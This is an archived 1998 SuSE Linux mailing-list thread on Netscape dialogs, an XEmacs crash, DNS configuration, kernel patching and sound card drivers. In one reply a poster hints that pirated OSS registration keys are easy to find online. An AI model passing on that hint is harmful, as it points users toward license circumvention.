> What I am talking about is the box that pops up when I try to download a
> file in Netscape, for example.  

Now I have to start Netscape ... usually *I* prefer lynx :-)

> You can get this dialog box by going to any
> web page and clicking "file|save as".  This is the same under openwin, cde,
> and kde.  I believe it is also the same under fvwm.

Aaah. Now that's Netscape to blame, or Motif. Netscape as a program could of
course choose to do it differently; Motif is a graphics library that runs
unter a lot of unixes and so the look & feel is quite the same everywhere.

Actually, there's no reason to do things that way but for custom ... they
are just done this way usually. And people see the same thing, no matter
which UNIX they have to use, if it's Motif. So they are done this way.

> Well I guess I meant Motif of OpenLook.

:)

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From clm@hackers.the-core.net Sat Jun 20 14:48:45 1998
From: clm@hackers.the-core.net
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Xemacs error
Date: Sat, 20 Jun 1998 10:48:45 -0400
Message-ID: <98062010494900.01464@Neuvo_Leon>
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        help, my X-emacs stoped working, heres the error 

Neuvo_Leon:/home/oxygen # xemacs

Fatal error (11).
Your files have been auto-saved.
Use `M-x recover-session' to recover them.

Please report this bug by running the send-pr script included
with XEmacs, or selecting `Send Bug Report' from the help menu.
As a last resort send ordinary email to `crashes(a)xemacs.org'.
*MAKE SURE* to include as much configuration information as
possible; at the very least what OS and hardware you are running
on, and hopefully also what compiler and compiler options the
binary was compiled with, what options XEmacs was compiled with,
whether you are using a prebuilt binary from ftp.xemacs.org or
compiled XEmacs yourself for your system, etc.

If at all possible, *please* try to obtain a C stack backtrace;
it will help us immensely in determining what went wrong.
To do this, locate the core file that was produced as a result
of this crash (it's usually called `core' and is located in the
directory in which you started XEmacs, or maybe in your home
directory), and type

  gdb /usr/X11R6/bin/xemacs core

then type `where' when the debugger prompt comes up.
(If you don't have GDB on your system, you might have DBX,
or XDB, or SDB.  A similar procedure should work for all of
these.  Ask your system administrator if you need more help.)

Lisp backtrace follows:

  delete-device(#)
  frame-initialize()
  # bind (debugger debug-on-error command-line-args-left)
  command-line()
  # (unwind-protect ...)
  normal-top-level()
  # (condition-case ... . error)
  # (catch top-level ...)
Segmentation fault
Neuvo_Leon:/home/oxygen #     

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From clm@hackers.the-core.net Sat Jun 20 15:36:14 1998
From: clm@hackers.the-core.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] TKDesk and Netscape
Date: Sat, 20 Jun 1998 11:36:14 -0400
Message-ID: <98062011363200.00237@Neuvo_Leon>
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it is.. but it dosn't seem to make TKDESK happy

On Sat, 20 Jun 1998, you wrote:
>Actually it's more elegant to symlink netscape to a dir in your path,
>like
>ln -s /opt/netscape/netscape /usr/X11R6/bin/netscape
>
>Or, if it's a directory that you execute from a lot, like /opt/kde/bin
>for kde users, then I would add /opt/kde/bin to your path in
>/etc/profile.
>
>Christopher L Miller wrote:
>> 
>> #locate netscape
>> 
>> find the exec file, move it to /usr/bin   tkdesk seems to be happy
>> 
>> Chris
>> 
>> On Sat, 20 Jun 1998, you wrote:
>> >Using SuSE 5.2, whenever I try to start Netscape, either from the App
>> >Bar, or by clicking on an .html file displayed in TKDesk, I get an error
>> >window that says "Alert! Can't execute: netscape". This happens whether
>> >or not Netscape is already running.
>> >
>> >I can start it from the fvwm2 menu and from the console without any
>> >problems.
>> >
>> >Does anyone know what I need to do to get it to start from within
>> >TKDesk?
>> >
>> >Phil
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From arnulf@neokom.geo.uni-bonn.de Sat Jun 20 15:41:38 1998
From: arnulf@neokom.geo.uni-bonn.de
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Kernel-patching
Date: Sat, 20 Jun 1998 17:41:38 +0200
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Hi!

Is ist true, that when updating a suse-kernel,
you need the original kernel, clean,
than patch this to the new version,
and then apply only one suse-patch to the latest original kernel?

thanks
arnulf

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From brauki@cityweb.de Sat Jun 20 15:57:18 1998
From: brauki@cityweb.de
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Re: ftp-download in batch mode
Date: Sat, 20 Jun 1998 17:57:18 +0200
Message-ID: <358BDBDE.C8BA1862@cityweb.de>
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Juergen Braukmann wrote:
> 
> Hello Everybody,
> 
> I want to download packages from ftp-servers. (i.e. ftp.suse.com) in
> batch mode.
> I have tried "ftp  request.
> when I press return on the keyboard, the job continues running.
> 

well stop it all, I ve got it!!
reading the manpage paid off!

now I know how to use the .netrc file, that helpes.

thanks anyway for trying!

Jürgen

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From roberto@cbvcp.com Sat Jun 20 16:20:59 1998
From: roberto@cbvcp.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] getting ensoniq 32 pci (pnp) working.
Date: Sat, 20 Jun 1998 09:20:59 -0700
Message-ID: <358BE16B.34EB3F98@cbvcp.com>
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Michael Lankton wrote:
>=20
> To my knowledge, pci modems aren't supported in linux.  Feel free to
> correct me if I'm wrong.  You can try running pnpdump, but if that
> doesn't show your pci modem then you are probably s.o.l.

I've been wanting to get my soundcard working, so I tried using the
pnpdump command.  It didn't find anything, so even if i were to go into
windoze and write down all the settings and make/compile a new kernel,
would it stand much of a chance of working?


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From lsayre@integrityonline13.com Sat Jun 20 16:22:27 1998
From: lsayre@integrityonline13.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] httpd can't find local host name
Date: Sat, 20 Jun 1998 11:22:27 -0500
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On boot, httpd gives me the message "can'find local host name".

Is there a way to rectify this?

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From lsayre@integrityonline13.com Sat Jun 20 16:25:39 1998
From: lsayre@integrityonline13.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] SuSE 5.2 and RedHat 4.2 Glint?
Date: Sat, 20 Jun 1998 11:25:39 -0500
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Is it possible to install Glint in SuSE?  If yes, are there any special
instructions for doing so?  

I've downloaded the Glint RPM (for RedHat 4.2).

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From deem@wdm.com Sat Jun 20 17:22:03 1998
From: deem@wdm.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] ftp-download in batch mode
Date: Sat, 20 Jun 1998 09:22:03 -0800
Message-ID: <199806201722.JAA03436@wdm.com>
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Juergen Braukmann  wrote:
> 
> Hello Everybody,
> 
> I want to download packages from ftp-servers. (i.e. ftp.suse.com) in
> batch mode.
> I have tried "ftp  request.
> when I press return on the keyboard, the job continues running.
> 
> I do not like to set the alarm clock to 2am (phone company charges less
> then), when "at" can handle this much better.
> 
> Ideas?
> 
> Jürgen
> 
> ps: i know about "rpm -U ...", works fine, but I want the package for
> the second system as well.
> 

Well xftp enables you to select multiple files for download.
As do other gui front-ends for ftp.

-Dee

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From satan@nfinity.com Sat Jun 20 17:24:11 1998
From: satan@nfinity.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] getting ensoniq 32 pci (pnp) working.
Date: Sat, 20 Jun 1998 12:24:11 -0500
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I saw a patch for pci sound cards on efnet #linuxwarez a while ago, so
there is some support for pci sound cards.  I imagine there might be
something on freshmeat or the oss website if you look.  All sound cards
will be pci soon anyway.  Bye bye crappy isa bus.

Aaron Seelye wrote:

> I've been wanting to get my soundcard working, so I tried using the
> pnpdump command.  It didn't find anything, so even if i were to go into
> windoze and write down all the settings and make/compile a new kernel,
> would it stand much of a chance of working?

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From roberto@crcsoft.com Sat Jun 20 17:33:13 1998
From: roberto@crcsoft.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] problem installing internet
Date: Sat, 20 Jun 1998 19:33:13 +0200
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Hi all,
    with your help, your suggest, the manual and so on I am able to dial my I=
SP
and I have installed netscape.

Now I have another problem, I hope you know the solutions.

If I ask for an address like 194.29.8.13 I get the page, but if I put
www.service.com netscape tell me that is unable to locate the server.........=
..

I don't understand why........

thanks for all in advance.

Roberto


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From phil@stokes.demon.co.uk Sat Jun 20 17:41:29 1998
From: phil@stokes.demon.co.uk
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] TKDesk and Netscape
Date: Sat, 20 Jun 1998 18:41:29 +0100
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Using SuSE 5.2, whenever I try to start Netscape, either from the App
Bar, or by clicking on an .html file displayed in TKDesk, I get an error
window that says "Alert! Can't execute: netscape". This happens whether
or not Netscape is already running.

I can start it from the fvwm2 menu and from the console without any
problems.

Does anyone know what I need to do to get it to start from within
TKDesk? 

Phil

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From hlarons@ComCAT.COM Sat Jun 20 17:46:12 1998
From: hlarons@ComCAT.COM
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Netscape Offline: Continued
Date: Sat, 20 Jun 1998 13:46:12 -0400
Message-ID: <358BF564.D00B5F5E@mail.comcat.com>
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Juergen Braukmann wrote:

> Upps. Little misunderstanding. -q refers to the named (caching only)
> named will write adresses and ip's requested in /var/log/messages.
> 
> I suppose netscape is doing DNS requests. if your nameserver is not
> reacheable (offline) netscape might wait forever. (or it's checking
> anything else not there for the same reason)
> You hopefully can figure this out by installing a caching only
> nameserver. Requests should be logged in messages (see above).

[snip]
 
> Jürgen

You made that clear about named, if I'd just stopped to read more
carefully. I think you're absolutely right about the hangs coming from
DNS access. I don't know why Netscape would want to access the DNS
system during the writing of a message, as opposed to actually sending
it. That would explain why I can open the "New Msg" dialog without a
hang...there's no address in the "To:" field to resolve, whereas in a
"Reply" the address is already there.

As a kludge I'm going to put the SuSE list name and IP address, plus a
couple of others I use a lot, into the /etc/hosts file. Then I may look
at named.

Meanwhile I've got Mutt running and I'll give it a new look.

Regards and thanks again.

Howard Arons

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From deem@wdm.com Sat Jun 20 17:52:40 1998
From: deem@wdm.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] problem installing internet
Date: Sat, 20 Jun 1998 09:52:40 -0800
Message-ID: <199806201752.JAA03555@wdm.com>
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Roberto  wrote:
>=20
> Hi all,
>     with your help, your suggest, the manual and so on I am able to dial my=
 ISP
> and I have installed netscape.
>=20
> Now I have another problem, I hope you know the solutions.
>=20
> If I ask for an address like 194.29.8.13 I get the page, but if I put
> www.service.com netscape tell me that is unable to locate the server.......=
....
>=20
> I don't understand why........
>=20
> thanks for all in advance.
>=20

I assume you have name servers defined in you /etc/rc.config file, correct ?

-Dee

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From deem@wdm.com Sat Jun 20 18:09:01 1998
From: deem@wdm.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Re: Ensoniq 32 PCI
Date: Sat, 20 Jun 1998 10:09:01 -0800
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As sound is important to me, I asked the=20
OSS folks this morning and here's the reply below.

(OSS costs a measly $20.00 and it's well worth it to get the commercial versi=
on.
For my AWE64 Gold it draws the best out.)

>>>>> Forwarded message from 4Front Technologies 

W.D.McKinney wrote:
>=20
> Greetings,
>=20
> Does the commercial version of OSS for Linux support the
> Ensoniq 32 PCI sound card ? Thanks again,
>=20

Hi,

OSS supports the Ensoniq AudioPCI as well as the Creative
Sound Blaster PCI/64 but I'm not sure what is Ensoniq 32PCI.
In order to run the AudioPCI drivers you will have to get a
license upgrade with the AudioPCI option. Or you can test is
by installing the 7 day trial version which has all the options
enabled.

best regards
tech support


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4035 Lafayette Place, Unit F, Culver City, CA 90232, USA.
                   =20
Tel: (310) 202 8530		URL: www.opensound.com
Fax: (310) 202 0496 		Email: info(a)opensound.com
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> I've been wanting to get my soundcard working, so I tried using the
> pnpdump command.  It didn't find anything, so even if i were to go into
> windoze and write down all the settings and make/compile a new kernel,
> would it stand much of a chance of working?

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From satan@nfinity.com Sat Jun 20 18:53:27 1998
From: satan@nfinity.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] TKDesk and Netscape
Date: Sat, 20 Jun 1998 13:53:27 -0500
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Actually it's more elegant to symlink netscape to a dir in your path,
like
ln -s /opt/netscape/netscape /usr/X11R6/bin/netscape

Or, if it's a directory that you execute from a lot, like /opt/kde/bin
for kde users, then I would add /opt/kde/bin to your path in
/etc/profile.

Christopher L Miller wrote:
> 
> #locate netscape
> 
> find the exec file, move it to /usr/bin   tkdesk seems to be happy
> 
> Chris
> 
> On Sat, 20 Jun 1998, you wrote:
> >Using SuSE 5.2, whenever I try to start Netscape, either from the App
> >Bar, or by clicking on an .html file displayed in TKDesk, I get an error
> >window that says "Alert! Can't execute: netscape". This happens whether
> >or not Netscape is already running.
> >
> >I can start it from the fvwm2 menu and from the console without any
> >problems.
> >
> >Does anyone know what I need to do to get it to start from within
> >TKDesk?
> >
> >Phil
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            /WWWWWWW|       \W|             The choice of
           ;WWWWWWWW|        ;|                   a GNU generation.
           |WWWWWWWW|        ||
           ;WWW|             ;|  =====================================
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From roberto@cbvcp.com Sat Jun 20 18:55:55 1998
From: roberto@cbvcp.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] getting ensoniq 32 pci (pnp) working.
Date: Sat, 20 Jun 1998 11:55:55 -0700
Message-ID: <358C05BB.1575A22E@cbvcp.com>
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Michael Lankton wrote:
>=20
> I saw a patch for pci sound cards on efnet #linuxwarez a while ago, so
> there is some support for pci sound cards.  I imagine there might be
> something on freshmeat or the oss website if you look.  All sound cards
> will be pci soon anyway.  Bye bye crappy isa bus.

I saw on sunsite howto's that the 2.1 kernel will have full pnp
support.  hopefully this new kernel will include pci sound (doesn't
sound too unreasonable).  Is there a site that shows the ETA for the new
kernels or at least the current dev status?


--=20
Aaron Seelye
http://revolution.3-cities.com/~roberto>
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From roberto@cbvcp.com Sat Jun 20 18:58:38 1998
From: roberto@cbvcp.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Re: Ensoniq 32 PCI
Date: Sat, 20 Jun 1998 11:58:38 -0700
Message-ID: <358C065E.94164ABF@cbvcp.com>
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W.D.McKinney wrote:
>=20
> As sound is important to me, I asked the
> OSS folks this morning and here's the reply below.
>=20
> (OSS costs a measly $20.00 and it's well worth it to get the commercial ver=
sion.
> For my AWE64 Gold it draws the best out.)
>=20
> >>>>> Forwarded message from 4Front Technologies 
>=20
> W.D.McKinney wrote:
> >
> > Greetings,
> >
> > Does the commercial version of OSS for Linux support the
> > Ensoniq 32 PCI sound card ? Thanks again,
> >
>=20
> Hi,
>=20
> OSS supports the Ensoniq AudioPCI as well as the Creative
> Sound Blaster PCI/64 but I'm not sure what is Ensoniq 32PCI.
> In order to run the AudioPCI drivers you will have to get a
> license upgrade with the AudioPCI option. Or you can test is
> by installing the 7 day trial version which has all the options
> enabled.
>=20
> best regards
> tech support

pardon my greenery, but where is the oss site so i can learn what this
exactly is?


--=20
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http://revolution.3-cities.com/~roberto>
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From hekate@intergate.bc.ca Sat Jun 20 19:16:56 1998
From: hekate@intergate.bc.ca
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] SuSE 5.2 and RedHat 4.2 Glint?
Date: Sat, 20 Jun 1998 12:16:56 -0700
Message-ID: 
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Not to be a jerk, but why do you want to install Glint in SuSE. I've used
Glint. You don't like YaST or xrpm ??? Not sure about this one. 

On Sat, 20 Jun 1998, Lawrence Sayre wrote:

> 
> Is it possible to install Glint in SuSE?  If yes, are there any special
> instructions for doing so?  
> 
> I've downloaded the Glint RPM (for RedHat 4.2).
> 
> -----------------------------------------------
> Man's mind is his basic tool of survival!
> 
> Lawrence Sayre 
> -----------------------------------------------
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From deem@wdm.com Sat Jun 20 19:19:58 1998
From: deem@wdm.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Re: Ensoniq 32 PCI
Date: Sat, 20 Jun 1998 11:19:58 -0800
Message-ID: <199806201919.LAA05026@wdm.com>
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Aaron Seelye  wrote:
>=20
> pardon my greenery, but where is the oss site so i can learn what this
> exactly is?

No greenery, just a good question - http://www.4front-tech.com>

-Dee

W.D.McKinney (Dee) -=3D- deem(a)wdm.com
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From hekate@intergate.bc.ca Sat Jun 20 19:21:29 1998
From: hekate@intergate.bc.ca
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Kernel-patching
Date: Sat, 20 Jun 1998 12:21:29 -0700
Message-ID: 
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Seems to be what someone posted, recently when the last stable patch came
out. I did this....and it worked o.k.

On Sat, 20 Jun 1998, tulf wrote:

> 
> Hi!
> 
> 
> Is ist true, that when updating a suse-kernel,
> you need the original kernel, clean,
> than patch this to the new version,
> and then apply only one suse-patch to the latest original kernel?
> 
> thanks
> arnulf
> -- 
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From satan@nfinity.com Sat Jun 20 20:18:11 1998
From: satan@nfinity.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] TKDesk and Netscape
Date: Sat, 20 Jun 1998 15:18:11 -0500
Message-ID: <358C1903.86DB9FE@nfinity.com>
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I don't use tkdesk, but I would wager that it uses an rc file somewhere
where stuff like that is defined.  

Christopher L Miller wrote:
> 
> it is.. but it dosn't seem to make TKDESK happy

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From roberto@crcsoft.com Sat Jun 20 21:42:28 1998
From: roberto@crcsoft.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] problem installing internet
Date: Sat, 20 Jun 1998 23:42:28 +0200
Message-ID: <358C2CC4.CFD47DB1@crcsoft.com>
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Thanks Dee,
    I have checked on rc.config file, I have founf many of name server, I don=
't
understand which is the name server I have to put in some field, my name serv=
er or
the ISP name server?

If I change the rc.config file to get the modifications I have to reboot the =
system
or the modification have effect immediately??

Another question, the look of the netscape under Unix is correct that is blac=
k and
gray or there are something I have to do to change the color??

I wait your answer, in the meaning I try to change the configuration of the
rc.config..........

> I assume you have name servers defined in you /etc/rc.config file, correct ?
>
> -Dee
>
> W.D.McKinney (Dee) -=3D- deem(a)wdm.com
> No claim to fame, just saved by Grace.
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From misc.word.corp@pobox.com Sat Jun 20 22:41:18 1998
From: misc.word.corp@pobox.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Ensonique PCI.
Date: Sat, 20 Jun 1998 18:41:18 -0400
Message-ID: <358C3A8E.DD8784D8@pobox.com>
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As for the driver for Ensonique PCI soundcards, an alpha version has
been posted at freshmeat -- you can find it by running a search, I
believe. 

I downloaded, unzipped/untarred the driver, but get the following error
message when running make:

es1370.c:89: linux/modversions.h: No such file or directory.

(es1370 is the version number of my Ensonique card.)

Any idea what header file is involved here?

(I posted a question re: this problem to the list a few days ago.)

It'd be great to get the driver up and running, since OSS won't run
correctly with RealAudio. Anybody know what might be going on? 

-- Glenn --

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From jonathan@aracnet.net Sat Jun 20 22:56:37 1998
From: jonathan@aracnet.net
To: users@lists.opensuse.org
Subject: RE: [S.u.S.E. Linux] Book Recomendations?
Date: Sat, 20 Jun 1998 22:56:37 +0000
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On 19-Jun-98 Steven T. Hatton wrote:

> Has anybody read _Inside Linux_?  (www.suse.com/Books/LSSC07.html)  I am
> looking for a good book that is apropreate for the computer professional
> who is seeking an overview of Linux at a reasonably sofisticated level.

I haven't read that, but check out "The Linux Kernel" on the Linux
Documentation Project site.

> I would also like to know if there is anything good online regarding
> Linux theory.  I am particularly interested in how X-Windows works.


---
jonathan(a)aracnet.net
http://members.xoom.com/JMarkevich>

Truth will be out this morning.  (Which may really mess things up.)

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From fmiller@lightlink.com Sat Jun 20 22:59:49 1998
From: fmiller@lightlink.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] OSS drivers.
Date: Sat, 20 Jun 1998 18:59:49 -0400
Message-ID: <358C3EE5.8AACAB73@lightlink.com>
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I download the OSS driver package from OSS...twice.  I chose the 2.0X
"flavor" as I assumed it would work with SuSE 5.2.  NO listing is given
for SuSE...why is beyond me.  Anyway, the *.gz file will NOT unzip. 
It's frustrating enough to have a new "box" with a AWE-64 in and not get
any sound.  It's much worse to be trying to understand Linux and work
with a lame file all at the same time.  Does anyone have this file
uncorrupted, that they wouldn't mind file attaching?

Thanks,

Fred


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From deem@wdm.com Sat Jun 20 23:05:07 1998
From: deem@wdm.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Ensonique PCI.
Date: Sat, 20 Jun 1998 15:05:07 -0800
Message-ID: <199806202305.PAA00378@wdm.com>
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"misc.word.corp"  wrote:
>=20
> It'd be great to get the driver up and running, since OSS won't run
> correctly with RealAudio. Anybody know what might be going on?=20
>=20
> -- Glenn --

Uhhmmm...I'm listening to the local ball game using RealAudio 5.0
and OSS with excellent results.

 cat /dev/sndstat
OSS/Linux 3.9e (C) 4Front Technologies 1996-1998

License serial number: 
This copy of OSS is licensed to Dee McKinney

Kernel: Linux wdm 2.0.34 #4 Wed Jun 17 20:31:12 AKDT 1998 i586
Build: 2.0.34

Card config:=20
Generic PnP support
SoundBlaster AWE64 Gold at 0x220 irq 5 drq 1,5
Emu 8000 Synthesizer Engine at 0x620 irq 5 drq 1,5
OPL-2/OPL-3 FM at 0x388
SB MPU-401 at 0x330 irq 5

Audio devices:
0: Creative SB AWE64 Gold (4.16) (DUPLEX)
1: SB secondary device (DUPLEX)

Synth devices:
0: AWE32-0.4.2 (RAM4096k)
1: Yamaha OPL-3

Midi devices:
0: Sound Blaster 16

Timers:
0: System clock

Mixers:
0: Sound Blaster
1: AWE32 Equalizer
-----------------------------------------------------------
This is the full expensive version, hold on to your pocketbook,
$20.00 for the Linux version.

See it at http://www.4front-tech.com> and it supports Ensoniq PCI =
also.

Regards

-Dee

W.D.McKinney (Dee) -=3D- deem(a)wdm.com
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From deem@wdm.com Sat Jun 20 23:11:15 1998
From: deem@wdm.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] problem installing internet
Date: Sat, 20 Jun 1998 15:11:15 -0800
Message-ID: <199806202311.PAA00393@wdm.com>
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Roberto  wrote:
>=20
> Thanks Dee,
>     I have checked on rc.config file, I have founf many of name server, I d=
on't
> understand which is the name server I have to put in some field, my name se=
rver or
> the ISP name server?
>=20
> If I change the rc.config file to get the modifications I have to reboot th=
e system
> or the modification have effect immediately??
>=20
> Another question, the look of the netscape under Unix is correct that is bl=
ack and
> gray or there are something I have to do to change the color??
>=20
> I wait your answer, in the meaning I try to change the configuration of the
> rc.config..........
>=20

Here's my section for an example:

#
# domain searchlist that should be used in /etc/resolv.conf
# (e.g. "suse.de linux.de uni-stuttgart.de")
# Attention! this has to be filled out, if you want to access a name server
#
SEARCHLIST=3D"iliamna.gci.net spurr.gci.net" <-- These are the nameservers of=
 my ISP.
            ^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^
#
# space separated list of nameservers that should be used for /etc/resolv.conf
# give a maximum of 3 IP numbers
# (e.g. "192.168.116.11 192.168.7.7")
#
NAMESERVER=3D"208.138.130.16 206.96.62.16" <-- These are the IP addresses of =
the nameservers of my ISP.
            ^^^^^^^^^^^^^^ ^^^^^^^^^^^^

These need defining on your system as well.=20

Best Regards
-Dee

W.D.McKinney (Dee) -=3D- deem(a)wdm.com
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From satan@nfinity.com Sat Jun 20 23:25:23 1998
From: satan@nfinity.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Ensonique PCI.
Date: Sat, 20 Jun 1998 18:25:23 -0500
Message-ID: <358C44E3.4F960EF9@nfinity.com>
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misc.word.corp wrote:

> message when running make:
> 
> es1370.c:89: linux/modversions.h: No such file or directory.
> 
> (es1370 is the version number of my Ensonique card.)
> 
> Any idea what header file is involved here?
 
You answered your own question.  The header file missing is
modversions.h and your patch is looking for it in the kernel source base
directory.  Do "find /usr -name "modversions.h" -print".  If it shows up
and it's in a different location that's an easy enough fix.  If not, get
on ftp search and download the .h file stick it in your kernel source
directory and hope it compiles without any other work on your part.

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From hekate@intergate.bc.ca Sat Jun 20 23:35:23 1998
From: hekate@intergate.bc.ca
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] OSS drivers.
Date: Sat, 20 Jun 1998 16:35:23 -0700
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Maybe it's bzipped? Run 'file' on it to see what type of file it is to
make sure it really is damaged etc. Some times files are bzipped and not
gunzipped and you can't tell till you query. 

On Sat, 20 Jun 1998, Fred A. Miller wrote:

> 
> I download the OSS driver package from OSS...twice.  I chose the 2.0X
> "flavor" as I assumed it would work with SuSE 5.2.  NO listing is given
> for SuSE...why is beyond me.  Anyway, the *.gz file will NOT unzip. 
> It's frustrating enough to have a new "box" with a AWE-64 in and not get
> any sound.  It's much worse to be trying to understand Linux and work
> with a lame file all at the same time.  Does anyone have this file
> uncorrupted, that they wouldn't mind file attaching?
> 
> Thanks,
> 
> Fred
> 
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From hettar@teleport.com Sat Jun 20 23:47:10 1998
From: hettar@teleport.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] OSS drivers.
Date: Sat, 20 Jun 1998 16:47:10 -0700
Message-ID: <358C49FE.14452BBC@teleport.com>
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Fred A. Miller wrote:

> I download the OSS driver package from OSS...twice.  I chose the 2.0X
> "flavor" as I assumed it would work with SuSE 5.2.  NO listing is given
> for SuSE...why is beyond me.  Anyway, the *.gz file will NOT unzip.
> It's frustrating enough to have a new "box" with a AWE-64 in and not get
> any sound.  It's much worse to be trying to understand Linux and work
> with a lame file all at the same time.  Does anyone have this file
> uncorrupted, that they wouldn't mind file attaching?
>
> Thanks,
>
> Fred

Fred, AWE-64 SBs are suported natively in Linux

Take a look at this its very simple to follow, will take you
about 30 minutes after you have compiled your kernel
for sound support as a module.

here: http://cqi.com/~humbubba/=
linux/AWE-kernhelp.txt>

Sounds better than the 20doller OSS does......and all sound works

I do have a SoundBlaster AWE 64 Gold, and that above link
was just for the SB 64 AWE...but never the less it was exact
for my card..and should be for yours.

When doing the isapnp dump to /etc/isapnp.conf, bring it up
and save it to a isapnp.conf.backup  then grab the isapnp.conf
example on that link above and open up two editors
and move the cards ID numbers and a few things that will
be different that the example's card..then save the modified
to /etc/isapnp.conf and test it...easy....

Steve Udell


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From satan@nfinity.com Sun Jun 21 00:21:53 1998
From: satan@nfinity.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] OSS drivers.
Date: Sat, 20 Jun 1998 19:21:53 -0500
Message-ID: <358C5221.2FAB1E88@nfinity.com>
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bzip2 files have a .bz2 extension as opposed to .tgz or .gz

hekate(a)intergate.bc.ca wrote:
> 
> Maybe it's bzipped? Run 'file' on it to see what type of file it is to
> make sure it really is damaged etc. Some times files are bzipped and not
> gunzipped and you can't tell till you query.
>

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From satan@nfinity.com Sun Jun 21 00:28:13 1998
From: satan@nfinity.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] OSS drivers.
Date: Sat, 20 Jun 1998 19:28:13 -0500
Message-ID: <358C539D.A4B239A4@nfinity.com>
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I have set up awe32 and awe64 cards in linux, and they work just fine
with the kernel drivers and isapnp.  Like I've said before, OSS is nice
if your card is unsupported by the kernel drivers or if spending $20 for
your sound drivers psychologically makes you think things sound better.=20
BTW, the registration key for OSS is easy enough to find on the web if
you believe that commercial linux software is an oxymoron. =20

Steven Udell wrote:

> Fred, AWE-64 SBs are suported natively in Linux
>=20
> Take a look at this its very simple to follow, will take you
> about 30 minutes after you have compiled your kernel
> for sound support as a module.
>=20
> here: http://cqi.com/~humbu=
bba/linux/AWE-kernhelp.txt>
>=20
> Sounds better than the 20doller OSS does......and all sound works
>=20
> I do have a SoundBlaster AWE 64 Gold, and that above link
> was just for the SB 64 AWE...but never the less it was exact
> for my card..and should be for yours.
>=20
> When doing the isapnp dump to /etc/isapnp.conf, bring it up
> and save it to a isapnp.conf.backup  then grab the isapnp.conf
> example on that link above and open up two editors
> and move the cards ID numbers and a few things that will
> be different that the example's card..then save the modified
> to /etc/isapnp.conf and test it...easy....
>=20
> Steve Udell

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From fmiller@lightlink.com Sun Jun 21 01:25:29 1998
From: fmiller@lightlink.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] OSS drivers.
Date: Sat, 20 Jun 1998 21:25:29 -0400
Message-ID: <358C6109.AE68979F@lightlink.com>
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Thanks to someone on the list, I now have a "good" file, however,
oss-install won't run.  I get "command not found."  Wonderfull.  I'm not
ready to go back to NT........yet.

Fred

hekate(a)intergate.bc.ca wrote:
> 
> Maybe it's bzipped? Run 'file' on it to see what type of file it is to
> make sure it really is damaged etc. Some times files are bzipped and not
> gunzipped and you can't tell till you query.
> 
> On Sat, 20 Jun 1998, Fred A. Miller wrote:
> 
> >
> > I download the OSS driver package from OSS...twice.  I chose the 2.0X
> > "flavor" as I assumed it would work with SuSE 5.2.  NO listing is given
> > for SuSE...why is beyond me.  Anyway, the *.gz file will NOT unzip.
> > It's frustrating enough to have a new "box" with a AWE-64 in and not get
> > any sound.  It's much worse to be trying to understand Linux and work
> > with a lame file all at the same time.  Does anyone have this file
> > uncorrupted, that they wouldn't mind file attaching?
> >
> > Thanks,
> >
> > Fred
> >
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From fmiller@lightlink.com Sun Jun 21 01:28:58 1998
From: fmiller@lightlink.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] OSS drivers.
Date: Sat, 20 Jun 1998 21:28:58 -0400
Message-ID: <358C61DA.F2819463@lightlink.com>
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Steven Udell wrote:
> 
> Fred A. Miller wrote:
> 
> > I download the OSS driver package from OSS...twice.  I chose the 2.0X
> > "flavor" as I assumed it would work with SuSE 5.2.  NO listing is given
> > for SuSE...why is beyond me.  Anyway, the *.gz file will NOT unzip.
> > It's frustrating enough to have a new "box" with a AWE-64 in and not get
> > any sound.  It's much worse to be trying to understand Linux and work
> > with a lame file all at the same time.  Does anyone have this file
> > uncorrupted, that they wouldn't mind file attaching?
> >
> > Thanks,
> >
> > Fred
> 
> Fred, AWE-64 SBs are suported natively in Linux
> 
> Take a look at this its very simple to follow, will take you
> about 30 minutes after you have compiled your kernel
> for sound support as a module.

[snip]

I looked at it the other day, printed it out, went to get the files, and
they came into Netscape Nav. as a read-in file...i.e., NOT a file saved
to a dir.  When setting up a sound card takes an "act of Congress,"
then......

Fred


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From afterburn@phantom.cybercomm.nl Sun Jun 21 02:16:46 1998
From: afterburn@phantom.cybercomm.nl
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Internet question
Date: Sun, 21 Jun 1998 04:16:46 +0200
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Hi all,



 



I installed suse 5.2 and configured my is=
dn=20
dial-up to my isp using yast. Its *seems* to work ok, it dials in and i have =
a=20
good connection, only i cant get anywhere. If i try pinging different servers=
,=20
the only one i get a reply from is the gateway i dial to. pings to any other =

